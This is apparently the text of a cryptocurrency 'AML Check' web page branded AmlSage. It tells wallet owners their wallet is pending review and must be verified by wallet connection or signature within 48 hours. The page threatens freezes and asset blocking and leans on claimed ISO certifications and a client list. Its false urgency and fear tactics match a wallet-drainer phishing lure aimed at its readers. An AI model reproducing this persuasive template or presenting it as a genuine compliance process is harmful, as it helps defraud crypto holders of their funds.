Dear Wallet Owner,

This is an official service notification from the AML Check compliance system. We are contacting you to inform you about a scheduled security and compliance review related to digital asset operations.

As part of our standard procedures and in alignment with recommended compliance frameworks, we periodically conduct automated evaluations to maintain service integrity and network safety.

Action Requested: You are invited to complete a brief wallet verification step within the next 48 hours. This helps ensure continued full access to platform features and supports the protection of your assets.

The verification process typically takes less than two minutes. Our system uses advanced encryption standards, and no private keys are ever requested or stored during this procedure.

If you have already completed this verification, no further action is needed. For questions or support, our help desk is available around the clock.

Thank you for your cooperation in keeping the ecosystem secure and reliable.

See Demo Checks
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+$100 000 000
Amount of the risky funds detected
Compliance departments that accept our AML procedures
60,000+
Service providers checked

Our 300+ clients and partners

MistTrack
VerifiWallet
Box Exchanger
Kuna IO
CryptoPNL
Gate.io
Safe3
PureFi
Comistar
Credits
GoodCrypto
LetsExchange
MistTrack
VerifiWallet
Box Exchanger
Kuna IO
CryptoPNL
Gate.io
Safe3
PureFi
Comistar
Credits
GoodCrypto
LetsExchange

AmlSage Certifications

At AmlSage, we prioritize our users' security and continuously upgrade our measures to ensure their safety and trust

ISO9001

AmlSage is ISO 9001 certified by the world's most recognized Quality Management System standard. This certification ensures we provide consistent quality, enhance customer satisfaction, streamline processes, reduce errors, and increase productivity. At AmlSage, we are dedicated to meeting the highest standards of quality management.

CERTIFIED COMPANY ISO 9001:2015

ISO27001

AmlSage has attained certification under ISO 27001, recognized globally as the premier standard for information security management systems. This certification establishes a strategic framework for enhancing information security, mitigating cyber risks, and ensuring regulatory compliance.

CERTIFIED COMPANY ISO 27001:2022

⚠️Your wallet is pending review

Complete AML verification within 48 hours to avoid restrictions or possible asset blocking.
Security

Pass AML verification now and never worry about freezes or restrictions again

AML Review Triggers

Your wallet may be randomly selected for AML verification if any of the following occur:

High-volume mixing or tumbling Transactions routed through privacy mixers
Cross-jurisdiction transfers Moving funds between unregulated and regulated platforms
Rapid sequential transactions Multiple large transfers within short timeframes
Interaction with flagged addresses Wallets previously marked by third-party risk scores
Random audit selection Periodic automated checks (even without suspicious activity)

Most reviews are resolved within 48 hours after successful verification.

FAQs

Is your question not on the list?

Contact us via messenger. We are in touch 24/7, so any issue can be resolved quickly and in a live chat format.

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We will answer within 30 seconds

It may take a little longer to respond during the night.

Is this verification mandatory? +
Yes. Following recent compliance updates, wallets selected for random review must complete verification within 48 hours to maintain full functionality.
Do you store my private keys or recovery phrase? +
No. The system never asks for your private keys, seed phrase, or password. Verification is performed via a read-only wallet connection or a standard cryptographic signature.
How long does the verification take? +
Typically less than 2 minutes. Most users complete it immediately after clicking the verification button.
What happens if I ignore this message? +
After 48 hours, your wallet may be flagged for restricted access — including transaction freezes, withdrawal holds, or temporary suspension of connected services.
Why was my wallet selected? +
Wallets are chosen randomly for routine security audits, or based on transaction patterns that resemble standard risk triggers (e.g., rapid transfers, interaction with external platforms).
Is this related to a specific exchange or platform? +
This review is conducted by our compliance partner — a certified AML monitoring service used by multiple exchanges and Web3 platforms to maintain network integrity.
Can I appeal if my wallet gets restricted? +
Yes. If you miss the 48-hour window, you can contact support to request a manual review. However, this process takes 5–7 business days and may require additional documentation.
Where can I verify your legitimacy? +
You can check our compliance status through public blockchain security directories or by reviewing the SSL certificate and domain history.